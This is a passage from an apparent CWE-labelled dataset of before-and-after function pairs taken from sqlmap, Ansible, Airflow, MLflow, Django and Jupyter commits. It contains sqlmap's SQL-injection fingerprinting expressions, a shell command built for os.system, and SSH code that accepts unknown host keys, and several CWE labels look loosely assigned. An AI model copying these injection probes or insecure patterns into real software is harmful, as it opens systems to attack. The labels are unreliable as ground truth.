                warnMsg = ""the back-end DBMS is not %s"" % DBMS.ACCESS
                logger.warning(warnMsg)
                return False

            setDbms(DBMS.ACCESS)

            if not conf.extensiveFp:
                return True

            infoMsg = ""actively fingerprinting %s"" % DBMS.ACCESS
            logger.info(infoMsg)

            version = self._sysTablesCheck()

            if version is not None:
                Backend.setVersion(version)

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.ACCESS
            logger.warning(warnMsg)

            return False",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES):
            setDbms(DBMS.ACCESS)

            return True

        infoMsg = ""testing %s"" % DBMS.ACCESS
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""VAL(CVAR(1))=1"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.ACCESS
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.ACCESS
                logger.warn(warnMsg)
                return False

            setDbms(DBMS.ACCESS)

            if not conf.extensiveFp:
                return True

            infoMsg = ""actively fingerprinting %s"" % DBMS.ACCESS
            logger.info(infoMsg)

            version = self._sysTablesCheck()

            if version is not None:
                Backend.setVersion(version)

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.ACCESS
            logger.warn(warnMsg)

            return False"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/template/__init__.py,0,"def _is_unsafe(self, val):
        '''
        Our helper function, which will also recursively check dict and
        list entries due to the fact that they may be repr'd and contain
        a key or value which contains jinja2 syntax and would otherwise
        lose the AnsibleUnsafe value.
        '''
        if isinstance(val, dict):
            for key in val.keys():
                if self._is_unsafe(val[key]):
                    return True
        elif isinstance(val, list):
            for item in val:
                if self._is_unsafe(item):
                    return True
        elif hasattr(val, '__UNSAFE__'):
            return True
        return False",,ansible/ansible,16684f118715a52e1c46d437652add9ca36423de,"def _is_unsafe(self, val):
        '''
        Our helper function, which will also recursively check dict and
        list entries due to the fact that they may be repr'd and contain
        a key or value which contains jinja2 syntax and would otherwise
        lose the AnsibleUnsafe value.
        '''
        if isinstance(val, dict):
            for key in val.keys():
                if self._is_unsafe(val[key]):
                    return True
        elif isinstance(val, list):
            for item in val:
                if self._is_unsafe(item):
                    return True
        elif isinstance(val, string_types) and hasattr(val, '__UNSAFE__'):
            return True
        return False"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/cloudstack.py,0,"def _connect(self):
        api_key = self.module.params.get('api_key')
        api_secret = self.module.params.get('secret_key')
        api_url = self.module.params.get('api_url')
        api_http_method = self.module.params.get('api_http_method')
        api_timeout = self.module.params.get('api_timeout')

        if api_key and api_secret and api_url:
            self.cs = CloudStack(
                endpoint=api_url,
                key=api_key,
                secret=api_secret,
                timeout=api_timeout,
                method=api_http_method
                )
        else:
            self.cs = CloudStack(**read_config())",,ansible/ansible,af49944ab2d3662daf78356b30f86129206d588f,"def _connect(self):
        api_key = self.module.params.get('api_key')
        api_secret = self.module.params.get('secret_key')
        api_url = self.module.params.get('api_url')
        api_http_method = self.module.params.get('api_http_method')
        api_timeout = self.module.params.get('api_timeout')

        if api_key and api_secret and api_url:
            self.cs = CloudStack(
                endpoint=api_url,
                key=api_key,
                secret=api_secret,
                timeout=api_timeout,
                method=api_http_method
                )
        else:
            self.cs = CloudStack(**read_config())"
,UNKNOWN,UNKNOWN,tests/store/tracking/test_sqlalchemy_store.py,1,"def test_search_runs_run_id(self):
        exp_id = self._experiment_factory(""test_search_runs_run_id"")
        # Set start_time to ensure the search result is deterministic
        run1 = self._run_factory(dict(self._get_run_configs(exp_id), start_time=1))
        run2 = self._run_factory(dict(self._get_run_configs(exp_id), start_time=2))
        run_id1 = run1.info.run_id
        run_id2 = run2.info.run_id

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""attributes.run_id = '{run_id1}'"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )
        assert [r.info.run_id for r in result] == [run_id1]

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""attributes.run_id != '{run_id1}'"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )
        assert [r.info.run_id for r in result] == [run_id2]

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""attributes.run_id IN ('{run_id1}')"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )
        assert [r.info.run_id for r in result] == [run_id1]

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""attributes.run_id NOT IN ('{run_id1}')"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""run_name = '{run1.info.run_name}' AND run_id IN ('{run_id1}')"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )
        assert [r.info.run_id for r in result] == [run_id1]

        for filter_string in [
            f""attributes.run_id IN ('{run_id1}','{run_id2}')"",
            f""attributes.run_id IN ('{run_id1}', '{run_id2}')"",
            f""attributes.run_id IN ('{run_id1}',  '{run_id2}')"",
        ]:
            result = self.store.search_runs(
                [exp_id], filter_string=filter_string, run_view_type=ViewType.ACTIVE_ONLY
            )
            assert [r.info.run_id for r in result] == [run_id2, run_id1]

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""attributes.run_id NOT IN ('{run_id1}', '{run_id2}')"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )
        assert result == []",CWE-703,mlflow/mlflow,96c56e291ce8d035e0fb2a107e510b58d791bc81,"def test_search_runs_run_id(self):
        exp_id = self._experiment_factory(""test_search_runs_run_id"")
        # Set start_time to ensure the search result is deterministic
        run1 = self._run_factory(dict(self._get_run_configs(exp_id), start_time=1))
        run2 = self._run_factory(dict(self._get_run_configs(exp_id), start_time=2))
        run_id1 = run1.info.run_id
        run_id2 = run2.info.run_id

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""attributes.run_id = '{run_id1}'"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )
        assert [r.info.run_id for r in result] == [run_id1]

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""attributes.run_id != '{run_id1}'"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )
        assert [r.info.run_id for r in result] == [run_id2]

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""attributes.run_id IN ('{run_id1}')"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )
        assert [r.info.run_id for r in result] == [run_id1]

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""attributes.run_id NOT IN ('{run_id1}')"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )

        for filter_string in [
            f""attributes.run_id IN ('{run_id1}','{run_id2}')"",
            f""attributes.run_id IN ('{run_id1}', '{run_id2}')"",
            f""attributes.run_id IN ('{run_id1}',  '{run_id2}')"",
        ]:
            result = self.store.search_runs(
                [exp_id], filter_string=filter_string, run_view_type=ViewType.ACTIVE_ONLY
            )
            assert [r.info.run_id for r in result] == [run_id2, run_id1]

        result = self.store.search_runs(
            [exp_id],
            filter_string=f""attributes.run_id NOT IN ('{run_id1}', '{run_id2}')"",
            run_view_type=ViewType.ACTIVE_ONLY,
        )
        assert result == []"
,UNKNOWN,UNKNOWN,airflow/providers/amazon/aws/operators/datasync.py,1,"def choose_task(self, task_arn_list: list) -> Optional[str]:
        """"""Select 1 DataSync TaskArn from a list""""""
        if not task_arn_list:
            return None
        if len(task_arn_list) == 1:
            return task_arn_list[0]
        if self.allow_random_task_choice:
            # Items are unordered so we don't want to just take
            # the [0] one as it implies ordered items were received
            # from AWS and might lead to confusion. Rather explicitly
            # choose a random one
            return random.choice(task_arn_list)
        raise AirflowException(f""Unable to choose a Task from {task_arn_list}"")",CWE-330,apache/airflow,663259d4b541ab10ce55fec4d2460e23917062c2,"def choose_task(self, task_arn_list: list) -> Optional[str]:
        """"""Select 1 DataSync TaskArn from a list""""""
        if not task_arn_list:
            return None
        if len(task_arn_list) == 1:
            return task_arn_list[0]
        if self.allow_random_task_choice:
            # Items are unordered so we don't want to just take
            # the [0] one as it implies ordered items were received
            # from AWS and might lead to confusion. Rather explicitly
            # choose a random one
            return random.choice(task_arn_list)
        raise AirflowException(f""Unable to choose a Task from {task_arn_list}"")"
,UNKNOWN,UNKNOWN,tests/www/test_security.py,1,"def test_create_dag_specific_permissions(session, security_manager, monkeypatch, sample_dags):
    access_control = {""Public"": {permissions.ACTION_CAN_READ}}

    collect_dags_from_db_mock = mock.Mock()
    dagbag_mock = mock.Mock()
    dagbag_mock.dags = {dag.dag_id: dag for dag in sample_dags}
    dagbag_mock.collect_dags_from_db = collect_dags_from_db_mock
    dagbag_class_mock = mock.Mock()
    dagbag_class_mock.return_value = dagbag_mock
    import airflow.www.security

    monkeypatch.setitem(airflow.www.security_manager.__dict__, ""DagBag"", dagbag_class_mock)
    security_manager._sync_dag_view_permissions = mock.Mock()

    for dag in sample_dags:
        dag_resource_name = permissions.resource_name_for_dag(dag.dag_id)
        all_perms = security_manager.get_all_permissions()
        assert (""can_read"", dag_resource_name) not in all_perms
        assert (""can_edit"", dag_resource_name) not in all_perms

    security_manager.create_dag_specific_permissions()

    dagbag_class_mock.assert_called_once_with(read_dags_from_db=True)
    collect_dags_from_db_mock.assert_called_once_with()

    for dag in sample_dags:
        dag_resource_name = permissions.resource_name_for_dag(dag.dag_id)
        all_perms = security_manager.get_all_permissions()
        assert (""can_read"", dag_resource_name) in all_perms
        assert (""can_edit"", dag_resource_name) in all_perms

    security_manager._sync_dag_view_permissions.assert_called_once_with(
        permissions.resource_name_for_dag(""has_access_control""),
        access_control,
    )

    del dagbag_mock.dags[""has_access_control""]
    with assert_queries_count(2):  # two query to get all perms; dagbag is mocked
        # The extra query happens at permission check
        security_manager.create_dag_specific_permissions()",CWE-703,apache/airflow,d3ce44236895e9e1779ea39d7681b59a25af0509,"def test_create_dag_specific_permissions(session, security_manager, monkeypatch, sample_dags):
    access_control = {""Public"": {permissions.ACTION_CAN_READ}}

    collect_dags_from_db_mock = mock.Mock()
    dagbag_mock = mock.Mock()
    dagbag_mock.dags = {dag.dag_id: dag for dag in sample_dags}
    dagbag_mock.collect_dags_from_db = collect_dags_from_db_mock
    dagbag_class_mock = mock.Mock()
    dagbag_class_mock.return_value = dagbag_mock
    import airflow.www.security

    monkeypatch.setitem(airflow.www.security.__dict__, ""DagBag"", dagbag_class_mock)
    security_manager._sync_dag_view_permissions = mock.Mock()

    for dag in sample_dags:
        dag_resource_name = permissions.resource_name_for_dag(dag.dag_id)
        all_perms = security_manager.get_all_permissions()
        assert (""can_read"", dag_resource_name) not in all_perms
        assert (""can_edit"", dag_resource_name) not in all_perms

    security_manager.create_dag_specific_permissions()

    dagbag_class_mock.assert_called_once_with(read_dags_from_db=True)
    collect_dags_from_db_mock.assert_called_once_with()

    for dag in sample_dags:
        dag_resource_name = permissions.resource_name_for_dag(dag.dag_id)
        all_perms = security_manager.get_all_permissions()
        assert (""can_read"", dag_resource_name) in all_perms
        assert (""can_edit"", dag_resource_name) in all_perms

    security_manager._sync_dag_view_permissions.assert_called_once_with(
        permissions.resource_name_for_dag(""has_access_control""),
        access_control,
    )

    del dagbag_mock.dags[""has_access_control""]
    with assert_queries_count(2):  # two query to get all perms; dagbag is mocked
        # The extra query happens at permission check
        security_manager.create_dag_specific_permissions()"
,UNKNOWN,UNKNOWN,lib/ansible/modules/network/nxos/nxos_file_copy.py,1,"def transfer_file(module, dest):
    file_size = os.path.getsize(module.params['local_file'])

    if not local_file_exists(module):
        module.fail_json(msg='Could not transfer file. Local file doesn\'t exist.')

    if not enough_space(module):
        module.fail_json(msg='Could not transfer file. Not enough space on device.')

    hostname = module.params['host']
    username = module.params['username']
    password = module.params['password']

    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(
        hostname=hostname,
        username=username,
        password=password)

    full_remote_path = '{}{}'.format(module.params['file_system'], dest)
    scp = SCPClient(ssh.get_transport())
    try:
        scp.put(module.params['local_file'], full_remote_path)
    except Exception as e:
        time.sleep(10)
        temp_size = verify_remote_file_exists(
                    module, dest, file_system=module.params['file_system'])
        if int(temp_size) == int(file_size):
            pass
        else:
            module.fail_json(msg='Could not transfer file. There was an error '
                             'during transfer. Please make sure remote '
                             'permissions are set.', temp_size=temp_size,
                             file_size=file_size)
    scp.close()
    return True",CWE-295,ansible/ansible,aabab30a4f9b7089847c0c3dd053100708e6dd25,"def transfer_file(module, dest):
    file_size = os.path.getsize(module.params['local_file'])

    if not local_file_exists(module):
        module.fail_json(msg='Could not transfer file. Local file doesn\'t exist.')

    if not enough_space(module):
        module.fail_json(msg='Could not transfer file. Not enough space on device.')

    hostname = module.params['host']
    username = module.params['username']
    password = module.params['password']

    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(
        hostname=hostname,
        username=username,
        password=password)

    full_remote_path = '{}{}'.format(module.params['file_system'], dest)
    scp = SCPClient(ssh.get_transport())
    try:
        scp.put(module.params['local_file'], full_remote_path)
    except Exception as e:
        time.sleep(10)
        temp_size = verify_remote_file_exists(
                    module, dest, file_system=module.params['file_system'])
        if int(temp_size) == int(file_size):
            pass
        else:
            module.fail_json(msg='Could not transfer file. There was an error '
                             'during transfer. Please make sure remote '
                             'permissions are set.', temp_size=temp_size, file_size=file_size)
    finally:
        scp.close()

    return True"
,UNKNOWN,UNKNOWN,v2/test/playbook/test_block.py,1,"def test_load_implicit_block(self):
        ds = [dict(action='foo')]
        b = Block.load(ds)
        self.assertEqual(len(b.block), 1)
        assert isinstance(b.block[0], Task)",CWE-703,ansible/ansible,0603b9c62c9a0bbb403803567c3dda6316beac90,"def test_load_implicit_block(self):
        ds = [dict(action='foo')]
        b = Block.load(ds)
        self.assertEqual(len(b.block), 1)
        assert isinstance(b.block[0], Task)"
,UNKNOWN,UNKNOWN,tests/jobs/test_base_job.py,1,"def test_essential_attr(self, mock_getuser, mock_hostname, mock_default_executor):
        mock_sequential_executor = SequentialExecutor()
        mock_hostname.return_value = ""test_hostname""
        mock_getuser.return_value = ""testuser""
        mock_default_executor.return_value = mock_sequential_executor

        test_job = Job(heartrate=10, dag_id=""example_dag"", state=State.RUNNING)
        MockJobRunner(job=test_job)
        assert test_job.heartrate == 10
        assert test_job.dag_id == ""example_dag""
        assert test_job.hostname == ""test_hostname""
        assert test_job.max_tis_per_query == 100
        assert test_job.unixname == ""testuser""
        assert test_job.state == ""running""
        assert test_job.executor == mock_sequential_executor",CWE-703,apache/airflow,14480751dd4ba07a0b8dc37bbdc1548193e962b2,"def test_essential_attr(self, mock_getuser, mock_hostname, mock_default_executor):
        mock_sequential_executor = SequentialExecutor()
        mock_hostname.return_value = ""test_hostname""
        mock_getuser.return_value = ""testuser""
        mock_default_executor.return_value = mock_sequential_executor

        test_job = Job(heartrate=10, dag_id=""example_dag"", state=State.RUNNING)
        MockJobRunner(job=test_job)
        assert test_job.executor_class == ""SequentialExecutor""
        assert test_job.heartrate == 10
        assert test_job.dag_id == ""example_dag""
        assert test_job.hostname == ""test_hostname""
        assert test_job.max_tis_per_query == 100
        assert test_job.unixname == ""testuser""
        assert test_job.state == ""running""
        assert test_job.executor == mock_sequential_executor"
,UNKNOWN,UNKNOWN,providers/tests/amazon/aws/executors/ecs/test_ecs_executor.py,1,"def test_queued_tasks(self):
        """"""Tasks that are pending launch identified as 'queued'.""""""
        queued_tasks = [
            EcsExecutorTask(
                task_arn=ARN1, last_status=""PROVISIONING"", desired_status=""RUNNING"", containers=[{}]
            ),
            EcsExecutorTask(task_arn=ARN2, last_status=""PENDING"", desired_status=""RUNNING"", containers=[{}]),
            EcsExecutorTask(
                task_arn=ARN3, last_status=""ACTIVATING"", desired_status=""RUNNING"", containers=[{}]
            ),
        ]
        for task in queued_tasks:
            assert task.get_task_state() == State.QUEUED",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_queued_tasks(self):
        """"""Tasks that are pending launch identified as 'queued'.""""""
        queued_tasks = [
            EcsExecutorTask(
                task_arn=ARN1, last_status=""PROVISIONING"", desired_status=""RUNNING"", containers=[{}]
            ),
            EcsExecutorTask(task_arn=ARN2, last_status=""PENDING"", desired_status=""RUNNING"", containers=[{}]),
            EcsExecutorTask(
                task_arn=ARN3, last_status=""ACTIVATING"", desired_status=""RUNNING"", containers=[{}]
            ),
        ]
        for task in queued_tasks:
            assert State.QUEUED == task.get_task_state()"
,UNKNOWN,UNKNOWN,tests/jobs/test_triggerer_job.py,1,"def test_trigger_create_race_condition_18392(session, tmp_path):
    """"""
    This verifies the resolution of race condition documented in github issue #18392.
    Triggers are queued for creation by TriggerJob.load_triggers.
    There was a race condition where multiple triggers would be created unnecessarily.
    What happens is the runner completes the trigger and purges from the ""running"" list.
    Then job.load_triggers is called and it looks like the trigger is not running but should,
    so it queues it again.

    The scenario is as follows:
        1. job.load_triggers (trigger now queued)
        2. runner.create_triggers (trigger now running)
        3. job.handle_events (trigger still appears running so state not updated in DB)
        4. runner.cleanup_finished_triggers (trigger completed at this point; trigger from ""running"" set)
        5. job.load_triggers (trigger not running, but also not purged from DB, so it is queued again)
        6. runner.create_triggers (trigger created again)

    This test verifies that under this scenario only one trigger is created.
    """"""
    path = tmp_path / ""test_trigger_bad_respawn.txt""

    class TriggerRunner_(TriggerRunner):
        """"""We do some waiting for main thread looping""""""

        async def wait_for_job_method_count(self, method, count):
            for _ in range(30):
                await asyncio.sleep(0.1)
                if getattr(self, f""{method}_count"", 0) >= count:
                    break
            else:
                pytest.fail(f""did not observe count {count} in job method {method}"")

        async def create_triggers(self):
            """"""
            On first run, wait for job.load_triggers to make sure they are queued
            """"""
            if getattr(self, ""loop_count"", 0) == 0:
                await self.wait_for_job_method_count(""load_triggers"", 1)
            await super().create_triggers()
            self.loop_count = getattr(self, ""loop_count"", 0) + 1

        async def cleanup_finished_triggers(self):
            """"""On loop 1, make sure that job.handle_events was already called""""""
            if self.loop_count == 1:
                await self.wait_for_job_method_count(""handle_events"", 1)
            await super().cleanup_finished_triggers()

    class TriggererJob_(TriggererJobRunner):
        """"""We do some waiting for runner thread looping (and track calls in job thread)""""""

        def wait_for_runner_loop(self, runner_loop_count):
            for _ in range(30):
                time.sleep(0.1)
                if getattr(self.trigger_runner, ""call_count"", 0) >= runner_loop_count:
                    break
            else:
                pytest.fail(""did not observe 2 loops in the runner thread"")

        def load_triggers(self):
            """"""On second run, make sure that runner has called create_triggers in its second loop""""""
            super().load_triggers()
            self.trigger_runner.load_triggers_count = (
                getattr(self.trigger_runner, ""load_triggers_count"", 0) + 1
            )
            if self.trigger_runner.load_triggers_count == 2:
                self.wait_for_runner_loop(runner_loop_count=2)

        def handle_events(self):
            super().handle_events()
            self.trigger_runner.handle_events_count = (
                getattr(self.trigger_runner, ""handle_events_count"", 0) + 1
            )

    trigger = TimeDeltaTrigger_(delta=datetime.timedelta(microseconds=1), filename=path.as_posix())
    trigger_orm = Trigger.from_object(trigger)
    trigger_orm.id = 1
    session.add(trigger_orm)

    dag = DagModel(dag_id=""test-dag"")
    dag_run = DagRun(dag.dag_id, run_id=""abc"", run_type=""none"")
    ti = TaskInstance(PythonOperator(task_id=""dummy-task"", python_callable=print), run_id=dag_run.run_id)
    ti.dag_id = dag.dag_id
    ti.trigger_id = 1
    session.add(dag)
    session.add(dag_run)
    session.add(ti)

    session.commit()

    job = Job()
    job_runner = TriggererJob_(job)
    job_runner.trigger_runner = TriggerRunner_()
    thread = Thread(target=job_runner._execute)
    thread.start()
    try:
        for _ in range(40):
            time.sleep(0.1)
            # ready to evaluate after 2 loops
            if getattr(job_runner.trigger_runner, ""loop_count"", 0) >= 2:
                break
        else:
            pytest.fail(""did not observe 2 loops in the runner thread"")
    finally:
        job_runner.trigger_runner.stop = True
        job_runner.trigger_runner.join()
        thread.join()
    instances = path.read_text().splitlines()
    assert len(instances) == 1",CWE-703,apache/airflow,04d3f4560f3204eeb72a5ee14fb3316f5bdf35cb,"def test_trigger_create_race_condition_18392(session, tmp_path):
    """"""
    This verifies the resolution of race condition documented in github issue #18392.
    Triggers are queued for creation by TriggerJob.load_triggers.
    There was a race condition where multiple triggers would be created unnecessarily.
    What happens is the runner completes the trigger and purges from the ""running"" list.
    Then job.load_triggers is called and it looks like the trigger is not running but should,
    so it queues it again.

    The scenario is as follows:
        1. job.load_triggers (trigger now queued)
        2. runner.create_triggers (trigger now running)
        3. job.handle_events (trigger still appears running so state not updated in DB)
        4. runner.cleanup_finished_triggers (trigger completed at this point; trigger from ""running"" set)
        5. job.load_triggers (trigger not running, but also not purged from DB, so it is queued again)
        6. runner.create_triggers (trigger created again)

    This test verifies that under this scenario only one trigger is created.
    """"""
    path = tmp_path / ""test_trigger_bad_respawn.txt""

    class TriggerRunner_(TriggerRunner):
        """"""We do some waiting for main thread looping""""""

        async def wait_for_job_method_count(self, method, count):
            for _ in range(30):
                await asyncio.sleep(0.1)
                if getattr(self, f""{method}_count"", 0) >= count:
                    break
            else:
                pytest.fail(f""did not observe count {count} in job method {method}"")

        async def create_triggers(self):
            """"""
            On first run, wait for job.load_triggers to make sure they are queued
            """"""
            if getattr(self, ""loop_count"", 0) == 0:
                await self.wait_for_job_method_count(""load_triggers"", 1)
            await super().create_triggers()
            self.loop_count = getattr(self, ""loop_count"", 0) + 1

        async def cleanup_finished_triggers(self):
            """"""On loop 1, make sure that job.handle_events was already called""""""
            if self.loop_count == 1:
                await self.wait_for_job_method_count(""handle_events"", 1)
            await super().cleanup_finished_triggers()

    class TriggererJob_(TriggererJobRunner):
        """"""We do some waiting for runner thread looping (and track calls in job thread)""""""

        def wait_for_runner_loop(self, runner_loop_count):
            for _ in range(30):
                time.sleep(0.1)
                if getattr(self.trigger_runner, ""call_count"", 0) >= runner_loop_count:
                    break
            else:
                pytest.fail(""did not observe 2 loops in the runner thread"")

        def load_triggers(self):
            """"""On second run, make sure that runner has called create_triggers in its second loop""""""
            super().load_triggers()
            self.trigger_runner.load_triggers_count = (
                getattr(self.trigger_runner, ""load_triggers_count"", 0) + 1
            )
            if self.trigger_runner.load_triggers_count == 2:
                self.wait_for_runner_loop(runner_loop_count=2)

        def handle_events(self):
            super().handle_events()
            self.trigger_runner.handle_events_count = (
                getattr(self.trigger_runner, ""handle_events_count"", 0) + 1
            )

    trigger = TimeDeltaTrigger_(delta=datetime.timedelta(microseconds=1), filename=path.as_posix())
    trigger_orm = Trigger.from_object(trigger)
    trigger_orm.id = 1
    session.add(trigger_orm)

    dag = DagModel(dag_id=""test-dag"")
    dag_run = DagRun(dag.dag_id, run_id=""abc"", run_type=""none"")
    ti = TaskInstance(PythonOperator(task_id=""dummy-task"", python_callable=print), run_id=dag_run.run_id)
    ti.dag_id = dag.dag_id
    ti.trigger_id = 1
    session.add(dag)
    session.add(dag_run)
    session.add(ti)

    session.commit()

    job = Job()
    job_runner = TriggererJob_(job)
    job_runner.trigger_runner = TriggerRunner_()
    thread = Thread(target=job_runner._execute)
    thread.start()
    try:
        for _ in range(40):
            time.sleep(0.1)
            # ready to evaluate after 2 loops
            if getattr(job_runner.trigger_runner, ""loop_count"", 0) >= 2:
                break
        else:
            pytest.fail(""did not observe 2 loops in the runner thread"")
    finally:
        job_runner.trigger_runner.stop = True
        job_runner.trigger_runner.join()
        thread.join()
    instances = path.read_text().splitlines()
    assert len(instances) == 1"
,UNKNOWN,UNKNOWN,tests/backends/tests.py,1,"def test_queries(self):
        """"""
        Test the documented API of connection.queries.
        """"""
        with connection.cursor() as cursor:
            reset_queries()
            cursor.execute(""SELECT 1"" + connection.features.bare_select_suffix)
        self.assertEqual(1, len(connection.queries))

        self.assertIsInstance(connection.queries, list)
        self.assertIsInstance(connection.queries[0], dict)
        self.assertCountEqual(connection.queries[0].keys(), ['sql', 'time'])

        reset_queries()
        self.assertEqual(0, len(connection.queries))",CWE-89,django/django,b5f0b3478dfcf0335f8ac2038d59f54b4a05f2a0,"def test_queries(self):
        """"""
        Test the documented API of connection.queries.
        """"""
        with connection.cursor() as cursor:
            reset_queries()
            cursor.execute(""SELECT 1"" + connection.features.bare_select_suffix)
        self.assertEqual(1, len(connection.queries))

        self.assertIsInstance(connection.queries, list)
        self.assertIsInstance(connection.queries[0], dict)
        six.assertCountEqual(self, connection.queries[0].keys(), ['sql', 'time'])

        reset_queries()
        self.assertEqual(0, len(connection.queries))"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def test_cancel_delete_related_confirmation(self):
        """"""
        Cancelling the deletion of an object with relations takes the user back
        one page.
        """"""
        pizza = Pizza.objects.create(name=""Double Cheese"")
        topping1 = Topping.objects.create(name=""Cheddar"")
        topping2 = Topping.objects.create(name=""Mozzarella"")
        pizza.toppings.add(topping1, topping2)
        url = reverse('admin:admin_views_pizza_change', args=(pizza.id,))
        full_url = '%s%s' % (self.live_server_url, url)
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(full_url)
        self.selenium.find_element_by_class_name('deletelink').click()
        # Wait until we're on the delete page.
        self.wait_for('.cancel-link')
        self.selenium.find_element_by_class_name('cancel-link').click()
        # Wait until we're back on the change page.
        self.wait_for_text('#content h1', 'Change pizza')
        self.assertEqual(self.selenium.current_url, full_url)
        self.assertEqual(Pizza.objects.count(), 1)
        self.assertEqual(Topping.objects.count(), 2)",CWE-259,django/django,f68e5a99164867ab0e071a936470958ed867479d,"def test_cancel_delete_related_confirmation(self):
        """"""
        Cancelling the deletion of an object with relations takes the user back
        one page.
        """"""
        pizza = Pizza.objects.create(name=""Double Cheese"")
        topping1 = Topping.objects.create(name=""Cheddar"")
        topping2 = Topping.objects.create(name=""Mozzarella"")
        pizza.toppings.add(topping1, topping2)
        url = reverse('admin:admin_views_pizza_change', args=(pizza.id,))
        full_url = '%s%s' % (self.live_server_url, url)
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(full_url)
        self.selenium.find_element_by_class_name('deletelink').click()
        # Wait until we're on the delete page.
        self.wait_for('.cancel-link')
        self.selenium.find_element_by_class_name('cancel-link').click()
        # Wait until we're back on the change page.
        self.wait_for_text('#content h1', 'Change pizza')
        self.assertEqual(self.selenium.current_url, full_url)
        self.assertEqual(Pizza.objects.count(), 1)
        self.assertEqual(Topping.objects.count(), 2)"
,UNKNOWN,UNKNOWN,mlflow/sagemaker/__init__.py,1,"def push_image_to_ecr(image=DEFAULT_IMAGE_NAME):
    """"""
    Push local Docker image to ECR.

    The image is pushed under current active AWS account and to current active AWS region.

    :param image: image name
    """"""
    eprint(""Pushing image to ECR"")
    client = boto3.client(""sts"")
    caller_id = client.get_caller_identity()
    account = caller_id['Account']
    my_session = boto3.session.Session()
    region = my_session.region_name or ""us-west-2""
    fullname = _full_template.format(account=account, region=region, image=image,
                                     version=mlflow.version.VERSION)
    eprint(""Pushing docker image {image} to {repo}"".format(
        image=image, repo=fullname))
    ecr_client = boto3.client('ecr')
    if not ecr_client.describe_repositories(repositoryNames=[image])['repositories']:
        ecr_client.create_repository(repositoryName=image)
    # TODO: it would be nice to translate the docker login, tag and push to python api.
    # x = ecr_client.get_authorization_token()['authorizationData'][0]
    # docker_login_cmd = ""docker login -u AWS -p {token} {url}"".format(token=x['authorizationToken']
    #                                                                ,url=x['proxyEndpoint'])
    docker_login_cmd = ""$(aws ecr get-login --no-include-email)""
    docker_tag_cmd = ""docker tag {image} {fullname}"".format(
        image=image, fullname=fullname)
    docker_push_cmd = ""docker push {}"".format(fullname)
    cmd = "";\n"".join([docker_login_cmd, docker_tag_cmd, docker_push_cmd])
    os.system(cmd)",CWE-78,mlflow/mlflow,f5157c49bc1709c3cf85a4bd4f8ab4c4ace750d2,"def push_image_to_ecr(image=DEFAULT_IMAGE_NAME):
    """"""
    Push local Docker image to ECR.

    The image is pushed under current active aws account and to current active AWS region.

    :param image: image name
    """"""
    eprint(""Pushing image to ECR"")
    client = boto3.client(""sts"")
    caller_id = client.get_caller_identity()
    account = caller_id['Account']
    my_session = boto3.session.Session()
    region = my_session.region_name or ""us-west-2""
    fullname = _full_template.format(account=account, region=region, image=image,
                                     version=mlflow.version.VERSION)
    eprint(""Pushing docker image {image} to {repo}"".format(
        image=image, repo=fullname))
    ecr_client = boto3.client('ecr')
    if not ecr_client.describe_repositories(repositoryNames=[image])['repositories']:
        ecr_client.create_repository(repositoryName=image)
    # TODO: it would be nice to translate the docker login, tag and push to python api.
    # x = ecr_client.get_authorization_token()['authorizationData'][0]
    # docker_login_cmd = ""docker login -u AWS -p {token} {url}"".format(token=x['authorizationToken']
    #                                                                ,url=x['proxyEndpoint'])
    docker_login_cmd = ""$(aws ecr get-login --no-include-email)""
    docker_tag_cmd = ""docker tag {image} {fullname}"".format(
        image=image, fullname=fullname)
    docker_push_cmd = ""docker push {}"".format(fullname)
    cmd = "";\n"".join([docker_login_cmd, docker_tag_cmd, docker_push_cmd])
    os.system(cmd)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/base/handlers.py,0,"def content_security_policy(self):
        """"""The default Content-Security-Policy header
        
        Can be overridden by defining Content-Security-Policy in settings['headers']
        """"""
        return '; '.join([
            ""frame-ancestors 'self'"",
            # Make sure the report-uri is relative to the base_url
            ""report-uri "" + url_path_join(self.base_url, csp_report_uri),
        ])",,jupyter/notebook,fb7ee6f348ffa8263f4fd458959b57c88744fe3c,"def content_security_policy(self):
        """"""The default Content-Security-Policy header
        
        Can be overridden by defining Content-Security-Policy in settings['headers']
        """"""
        return '; '.join([
            ""frame-ancestors 'self'"",
            # Make sure the report-uri is relative to the base_url
